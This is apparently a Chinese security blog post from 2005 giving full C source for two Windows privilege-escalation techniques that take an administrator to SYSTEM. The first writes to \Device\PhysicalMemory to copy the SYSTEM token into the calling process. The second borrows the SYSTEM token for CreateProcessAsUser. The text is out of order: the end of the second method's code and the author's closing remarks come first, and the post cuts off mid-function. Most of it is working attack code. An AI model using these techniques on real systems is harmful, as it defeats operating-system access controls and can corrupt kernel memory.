FALSE, // handles are not inheritable
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags
NULL, // pointer to new environment block
NULL, // name of current directory
&si, // pointer to STARTUPINFO structure
&pi // receives information about new process
);

// End impersonation of client.

RevertToSelf();

goto Cleanup;
//return bResult; <------------------------------------------------------------------------

if (bResult && pi.hProcess != INVALID_HANDLE_VALUE)
{
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
}

if (pi.hThread != INVALID_HANDLE_VALUE)
CloseHandle(pi.hThread);

Cleanup:

if (hwinstaSave != NULL)
SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

if (pSid)
FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

if (hwinsta)
CloseWindowStation(hwinsta);

if (hdesk)
CloseDesktop(hdesk);

// Close the handle to the client's access token.

if (hToken != INVALID_HANDLE_VALUE)
CloseHandle(hToken);

return bResult;
}

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid)
{
ACCESS_ALLOWED_ACE *pace;
ACL_SIZE_INFORMATION aclSizeInfo;
BOOL bDaclExist;
BOOL bDaclPresent;
BOOL bSuccess = FALSE;
DWORD dwNewAclSize;
DWORD dwSidSize = 0;
DWORD dwSdSizeNeeded;
PACL pacl;
PACL pNewAcl;
PSECURITY_DESCRIPTOR psd = NULL;
PSECURITY_DESCRIPTOR psdNew = NULL;
PVOID pTempAce;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
unsigned int i;

__try
{
// Obtain the DACL for the window station.

if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psd == NULL)
__leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psdNew == NULL)
__leave;

dwSidSize = dwSdSizeNeeded;

if (!GetUserObjectSecurity(
hwinsta,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
__leave;
}
else
__leave;

// Create a new DACL.

if (!InitializeSecurityDescriptor(
psdNew,
SECURITY_DESCRIPTOR_REVISION)
)
__leave;

// Get the DACL from the security descriptor.

if (!GetSecurityDescriptorDacl(
psd,
&bDaclPresent,
&pacl,
&bDaclExist)
)
__leave;

// Initialize the ACL.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);

// Call only if the DACL is not NULL.

if (pacl != NULL)
{
// get the file ACL size info
if (!GetAclInformation(
pacl,
(LPVOID)&aclSizeInfo,
sizeof(ACL_SIZE_INFORMATION),
AclSizeInformation)
)
__leave;
}

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo.AclBytesInUse + (2*sizeof(ACCESS_ALLOWED_ACE)) + (2*GetLengthSid(psid)) - (2*sizeof(DWORD));

// Allocate memory for the new ACL.

pNewAcl = (PACL)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwNewAclSize);

if (pNewAcl == NULL)
__leave;

// Initialize the new DACL.

if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
__leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent)
{
// Copy the ACEs to the new ACL.
if (aclSizeInfo.AceCount)
{
for (i=0; i < aclSizeInfo.AceCount; i++)
{
// Get an ACE.
if (!GetAce(pacl, i, &pTempAce))
__leave;

// Add the ACE to the new ACL.
if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
pTempAce,
((PACE_HEADER)pTempAce)->AceSize)
)
__leave;
}
}
}

// Add the first ACE to the window station.

pace = (ACCESS_ALLOWED_ACE *)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) -
sizeof(DWORD));

if (pace == NULL)
__leave;

pace->Header.AceType = ACCESS_ALLOWED_ACE_TYPE;
pace->Header.AceFlags = CONTAINER_INHERIT_ACE |
INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE;
pace->Header.AceSize = sizeof(ACCESS_ALLOWED_ACE) +
GetLengthSid(psid) - sizeof(DWORD);
pace->Mask = GENERIC_ACCESS;

if (!CopySid(GetLengthSid(psid), &pace->SidStart, psid))
__leave;

if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
(LPVOID)pace,
pace->Header.AceSize)
)
__leave;

// Add the second ACE to the window station.

pace->Header.AceFlags = NO_PROPAGATE_INHERIT_ACE;
pace->Mask = WINSTA_ALL;

if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
(LPVOID)pace,
pace->Header.AceSize)
)
__leave;

// Set a new DACL for the security descriptor.

if (!SetSecurityDescriptorDacl(
psdNew,
TRUE,
pNewAcl,
FALSE)
)
__leave;

// Set the new security descriptor for the window station.

if (!SetUserObjectSecurity(hwinsta, &si, psdNew))
__leave;

// Indicate success.

bSuccess = TRUE;
}
__finally
{
// Free the allocated buffers.

if (pace != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

if (pNewAcl != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
}

return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid)
{
ACL_SIZE_INFORMATION aclSizeInfo;
BOOL bDaclExist;
BOOL bDaclPresent;
BOOL bSuccess = FALSE;
DWORD dwNewAclSize;
DWORD dwSidSize = 0;
DWORD dwSdSizeNeeded;
PACL pacl;
PACL pNewAcl;
PSECURITY_DESCRIPTOR psd = NULL;
PSECURITY_DESCRIPTOR psdNew = NULL;
PVOID pTempAce;
SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION;
unsigned int i;

__try
{
// Obtain the security descriptor for the desktop object.

if (!GetUserObjectSecurity(
hdesk,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded))
{
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
{
psd = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded );

if (psd == NULL)
__leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwSdSizeNeeded);

if (psdNew == NULL)
__leave;

dwSidSize = dwSdSizeNeeded;

if (!GetUserObjectSecurity(
hdesk,
&si,
psd,
dwSidSize,
&dwSdSizeNeeded)
)
__leave;
}
else
__leave;
}

// Create a new security descriptor.

if (!InitializeSecurityDescriptor(
psdNew,
SECURITY_DESCRIPTOR_REVISION)
)
__leave;

// Obtain the DACL from the security descriptor.

if (!GetSecurityDescriptorDacl(
psd,
&bDaclPresent,
&pacl,
&bDaclExist)
)
__leave;

// Initialize.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION));
aclSizeInfo.AclBytesInUse = sizeof(ACL);

// Call only if NULL DACL.

if (pacl != NULL)
{
// Determine the size of the ACL information.

if (!GetAclInformation(
pacl,
(LPVOID)&aclSizeInfo,
sizeof(ACL_SIZE_INFORMATION),
AclSizeInformation)
)
__leave;
}

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo.AclBytesInUse +
sizeof(ACCESS_ALLOWED_ACE) +
GetLengthSid(psid) - sizeof(DWORD);

// Allocate buffer for the new ACL.

pNewAcl = (PACL)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwNewAclSize);

if (pNewAcl == NULL)
__leave;

// Initialize the new ACL.

if (!InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION))
__leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent)
{
// Copy the ACEs to the new ACL.
if (aclSizeInfo.AceCount)
{
for (i=0; i < aclSizeInfo.AceCount; i++)
{
// Get an ACE.
if (!GetAce(pacl, i, &pTempAce))
__leave;

// Add the ACE to the new ACL.
if (!AddAce(
pNewAcl,
ACL_REVISION,
MAXDWORD,
pTempAce,
((PACE_HEADER)pTempAce)->AceSize)
)
__leave;
}
}
}

// Add ACE to the DACL.

if (!AddAccessAllowedAce(
pNewAcl,
ACL_REVISION,
DESKTOP_ALL,
psid)
)
__leave;

// Set new DACL to the new security descriptor.

if (!SetSecurityDescriptorDacl(
psdNew,
TRUE,
pNewAcl,
FALSE)
)
__leave;

// Set the new security descriptor for the desktop object.

if (!SetUserObjectSecurity(hdesk, &si, psdNew))
__leave;

// Indicate success.

bSuccess = TRUE;
}
__finally
{
// Free buffers.

if (pNewAcl != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL)
HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew);
}

return bSuccess;
}

int main(int argc, char **argv)
{
HANDLE hToken = NULL;
EnablePrivilege(SE_DEBUG_NAME);
hToken = GetLSAToken();
StartInteractiveClientProcess(NULL, NULL, NULL, argc==2?argv[1]:"regedit", hToken);
return 0;
}

上面这两种方法都能很好的完全功能,但是建议用第二种,虽然代码看上去有点长,但是很稳定.
代码又长又乱,其中肯定有错误之处,还请大家告之.谢过先... ;-) 管理员组获取系统权限的完美解决方案

Author : ZwelL
Blog : http://www.donews.net/zwell
Date : 2005.4.28

关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.
小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".
这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"
2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建
3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:
4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,
举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:
OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;
|->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。
思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.
而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:
===========================================================================================================
#include<windows.h>
#include<stdio.h>
#include<Accctrl.h>
#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;

BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary( "ntdll.dll" );
if ( !g_hNtDLL )
{
return FALSE;
}

RtlInitUnicodeString =
(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection =
(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

ZwQuerySystemInformation =
( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

return TRUE;
}

VOID CloseNTDLL()
{
if(g_hNtDLL != NULL)
{
FreeLibrary(g_hNtDLL);
}
}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{

PACL pDacl=NULL;
PACL pNewDacl=NULL;
PSECURITY_DESCRIPTOR pSD=NULL;
DWORD dwRes;
EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,
NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)
{
goto CleanUp;
}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";


if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)
{
goto CleanUp;
}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)
{
goto CleanUp;
}

CleanUp:

if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}

HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED){
status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);
}

if( !NT_SUCCESS( status ))
{
return NULL;
}

g_pMapPhysicalMemory = MapViewOfFile(
g_hMPM,
4,
0,
0x30000,
0x1000);
if( g_pMapPhysicalMemory == NULL )
{
return NULL;
}

return g_hMPM;
}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)
{
ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;
if(VAddr>=0x80000000 && VAddr<0xa0000000)
{
PAddr=VAddr-0x80000000;
return (PVOID)PAddr;
}
PGDE=BaseAddress[VAddr>>22];
if ((PGDE&1)!=0)
{
ULONG tmp=PGDE&0x00000080;
if (tmp!=0)
{
PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);
}
else
{
PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);
PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if ((PTE&1)!=0)
{
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
else return 0;
}
}
else return 0;

return (PVOID)PAddr;
}

ULONG GetData(PVOID addr)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return 0;
ULONG ret=tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}

BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);
PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (tmp==0)
return FALSE;
tmp[(phys & 0xFFF)>>2]=data;
UnmapViewOfFile(tmp);
return TRUE;
}

DWORD MyGetModuleBaseAddress( char * pModuleName)
{
PSYSTEM_MODULE_INFORMATION pSysModule;

ULONG uReturn;
ULONG uCount;
PCHAR pBuffer = NULL;
PCHAR pName = NULL;
NTSTATUS status;
UINT ui;
CHAR szBuffer[10];
DWORD pBaseAddress;

status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );
pBuffer = ( PCHAR )malloc(uReturn);
if ( pBuffer )
{
status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );
if( NT_SUCCESS(status) )
{
uCount = ( ULONG )*( ( ULONG * )pBuffer );
pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );
for ( ui = 0; ui < uCount; ui++ )
{
pName = strstr( pSysModule->ImageName, pModuleName );
if( pName )
{
pBaseAddress = (DWORD)pSysModule->Base;
free( pBuffer );
return pBaseAddress;
}
pSysModule ++;
}
}

free( pBuffer );
}

return NULL;
}

DWORD GetEprocessFromId (DWORD PID)
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
ULONG NumOfHandle = 0;
ULONG i;
PSYSTEM_HANDLE_INFORMATION h_info = NULL;
DWORD n;
DWORD retvalue=0;

buf=malloc(0x1000);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );
if(STATUS_INFO_LENGTH_MISMATCH == status)
{
free(buf);
buf=malloc(n);
if(buf == NULL)
{
printf("malloc wrong\n");
return FALSE;
}
status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);
}
else
{
printf("ZwQuerySystemInformation wrong\n");
return FALSE;
}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++)
{
if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))
{
retvalue=(DWORD)(h_info[i].Object);
break;
}
}

if ( buf != NULL )
{
free( buf );
}
return retvalue;
}

void usage(char *exe)
{
printf("Usage : %s [exefile|-h]\n");
}

int main(int argc, char **argv)
{
HMODULE hDll;
DWORD tmp;
DWORD SystemEprocess;
DWORD SystemEprocessTokenValue;
DWORD CurrentEprocess;
DWORD CurrentEprocessTokenValue;

printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");
printf("\tMade by ZwelL.\n");
printf("\tZwell@sohu.com.\n");
printf("\thttp://www.donews.net/zwell.\n");
printf("\tType -h to get more information\n", argv[0]);

if( argc>=2)
{
if(
( (strcmp(argv[1],"-h")==0) && (argc==2))
|| (argc>2)
)
{
usage(argv[0]);
exit(-1);
}
}

if (!InitNTDLL())
{
printf("InitNTDLL wrong\n");
exit(-1);
}

if (OpenPhysicalMemory()==0)
{
printf("OpenPhysicalMemory wrong\n");
exit(-1);
}

hDll = LoadLibrary("ntoskrnl.exe");
tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");
tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;
SystemEprocess=GetData((PVOID)tmp);
tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address
SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token
printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );
CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());
CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

printf("Current EPROCESS : %08x\n", CurrentEprocess);
printf("Current Process Token : %08x\nPress ENTER to continue...\n",
CurrentEprocessTokenValue);
//getchar();
SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);
printf("Current Process Token : %08x\n",
GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));
printf("Press ENTER to create process...\n");
//getchar();

if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))
== GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))
)
// It is so surprised that SYSTEM's Token always in changing.
// So before create new process, we should ensure the TOKEN is all right
{
ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);
}
UnmapViewOfFile(g_pMapPhysicalMemory);
CloseHandle(g_hMPM);
CloseNTDLL();

return 0;
}

在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================
第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。
这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。
用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
#include <AccCtrl.h>
#include <Aclapi.h>
#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()
{
HANDLE hSnapshot = NULL;
HANDLE hProc = NULL;

__try
{
// Get a snapshot of the processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == NULL)
{
printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");
__leave;
}

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);

// Find the "System" process
BOOL fProcess = Process32First(hSnapshot, &pe32);
while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))
fProcess = Process32Next(hSnapshot, &pe32);
if (!fProcess)
{
printf("OpenSystemProcess Not Found SYSTEM");
__leave; // Didn't find "System" process
}

// Open the process with PROCESS_QUERY_INFORMATION access
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,
pe32.th32ProcessID);
if (hProc == NULL)
{
printf("OpenSystemProcess OpenProcess Failed");
__leave;
}
}
__finally
{
// Cleanup the snapshot
if (hSnapshot != NULL)
CloseHandle(hSnapshot);
return(hProc);
}
}

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)
{
PACL pAcl = NULL;
PACL pNewAcl = NULL;
PACL pSacl = NULL;
PSID pSidOwner = NULL;
PSID pSidPrimary = NULL;
BOOL fSuccess = TRUE;

PSECURITY_DESCRIPTOR pSD = NULL;

__try
{
// Find the length of the security object for the kernel object
DWORD dwSDLength;
if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,
&dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity GetKernelObjectSecurity Size Failed");
__leave;
}

// Allocate a buffer of that length
pSD = LocalAlloc(LPTR, dwSDLength);
if (pSD == NULL)
{
printf("ModifySecurity LocalAlloc Failed");
__leave;
}

// Retrieve the kernel object
if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,
dwSDLength, &dwSDLength))
{
printf("ModifySecurity GetKernelObjectSecurity Failed");
__leave;
}

// Get a pointer to the DACL of the SD
BOOL fDaclPresent;
BOOL fDaclDefaulted;
if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,
&fDaclDefaulted))
{
printf("ModifySecurity GetSecurityDescriptorDacl Failed");
__leave;
}

// Get the current user's name
TCHAR szName[1024];
DWORD dwLen = chDIMOF(szName);
if (!GetUserName(szName, &dwLen))
{
printf("ModifySecurity GetUserName Failed");
__leave;
}

// Build an EXPLICIT_ACCESS structure for the ace we wish to add.
EXPLICIT_ACCESS ea;
BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

// We are allocating a new ACL with a new ace inserted. The new
// ACL must be LocalFree'd
if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))
{
printf("ModifySecurity SetEntriesInAcl Failed");
pNewAcl = NULL;
__leave;
}

// Find the buffer sizes we would need to make our SD absolute
pAcl = NULL;
dwSDLength = 0;
DWORD dwAclSize = 0;
DWORD dwSaclSize = 0;
DWORD dwSidOwnLen = 0;
DWORD dwSidPrimLen = 0;
PSECURITY_DESCRIPTOR pAbsSD = NULL;
if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,
&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)
|| (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
printf("ModifySecurity MakeAbsoluteSD Size Failed");
__leave;
}

// Allocate the buffers
pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);
